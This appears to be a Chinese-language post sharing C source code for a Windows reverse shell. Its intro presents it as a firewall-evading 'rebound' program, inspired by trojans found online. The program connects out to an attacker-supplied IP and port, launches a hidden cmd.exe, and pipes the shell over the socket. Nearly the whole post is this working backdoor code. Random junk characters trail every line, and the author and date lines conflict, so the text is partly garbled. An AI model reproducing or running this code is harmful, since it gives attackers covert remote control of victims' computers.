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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gh8F 2V;<  
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/* ============================== #T=LR@y  
Rebound port in Windows NT Pf\D-1gi  
By wind,2006/7 VYk!k3qS  
===============================*/ Bx4w)9+3  
#include U_n9]Z  
#include ([m mPyp>L  
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#pragma comment(lib,"wsock32.lib") yooX$  
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void OutputShell(); [J4gH^Z_  
SOCKET sClient; io-![^{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LH8 fBhw  
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void main(int argc,char **argv) ~ijVmWNk  
{ B=^)Ub5'  
WSADATA stWsaData; hUp.tK:X7o  
int nRet; !FElW`F  
SOCKADDR_IN stSaiClient,stSaiServer; [k;\SXDZo  
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if(argc != 3) :lPb.UCY  
{ n T{3o;A  
printf("Useage:\n\rRebound DestIP DestPort\n"); U$WxHYo  
return; K|hjEQRv  
} F|e1"PkeoA  
#\ X#w<\?  
WSAStartup(MAKEWORD(2,2),&stWsaData); rp!oO>F  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YW( Qmo7  
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stSaiClient.sin_family = AF_INET; \ b?" b  
stSaiClient.sin_port = htons(0); vnM@QfN  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P;qN(2L/=<  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7G}2,ueI  
{ Y6zbo  
printf("Bind Socket Failed!\n"); IJ(  
return; 8{^WY7.'  
} %)/P^9I6  
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stSaiServer.sin_family = AF_INET; e} P I^bc  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "J [K 3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); a!"$~y$*  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?"i}^B`*  
{ g" .are'7  
printf("Connect Error!"); o4K ~  
return; e :%ieH<  
} WSp  
OutputShell(); gT0BkwIV  
} CsoiyY -2  
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void OutputShell() FtfKe"qw  
{ >aj7||K  
char szBuff[1024]; > dI LF  
SECURITY_ATTRIBUTES stSecurityAttributes; ^h ~x)@=  
OSVERSIONINFO stOsversionInfo; `lO[x.[  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v*SEb~[  
STARTUPINFO stStartupInfo; N343qU  
char *szShell; Py@wJEo  
PROCESS_INFORMATION stProcessInformation; gy 3i+J  
unsigned long lBytesRead;  a1t4Dd  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X.f>'0i  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -bT)]gA2  
stSecurityAttributes.lpSecurityDescriptor = 0; %yW3VL  
stSecurityAttributes.bInheritHandle = TRUE; D(AXk8Vub  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); YW_Q\|p]M  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1m:XR0P  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V )x$|!(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'B 43_  
stStartupInfo.wShowWindow = SW_HIDE; GVYBa_gx  
stStartupInfo.hStdInput = hReadPipe; \]2]/=2tLd  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #Ssx!+q?  
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GetVersionEx(&stOsversionInfo); YaKeq5%y  
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switch(stOsversionInfo.dwPlatformId) M<.d8?p )  
{ QS` PpyBkd  
case 1: jV>raCK_  
szShell = "command.com"; B8V>NvE~o  
break; [y'f|XN  
default: 723bkJw V  
szShell = "cmd.exe"; bm?sbE  
break; T>x&T9  
} 7hlO#PYZ  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i|w81p^o  
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send(sClient,szMsg,77,0); u09:Z{tL;@  
while(1) aT)BR?OYSJ  
{ oX S1QT`B  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gQxbi1!;9  
if(lBytesRead) bx{$Y_L+p  
{ ![YX]+jqNp  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5NS[dQG5  
send(sClient,szBuff,lBytesRead,0); ~sl{|E  
} =vDEfO/T  
else Rs-]N1V  
{ "a ueL/dgN  
lBytesRead=recv(sClient,szBuff,1024,0); F)&@P-9+  
if(lBytesRead<=0) break; \>:CvTzF  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x(etb<!jd  
} \W1,F6&j  
} R7$:@<:g  
9[b<5Llt  
return; Q[vJqkgT  
}
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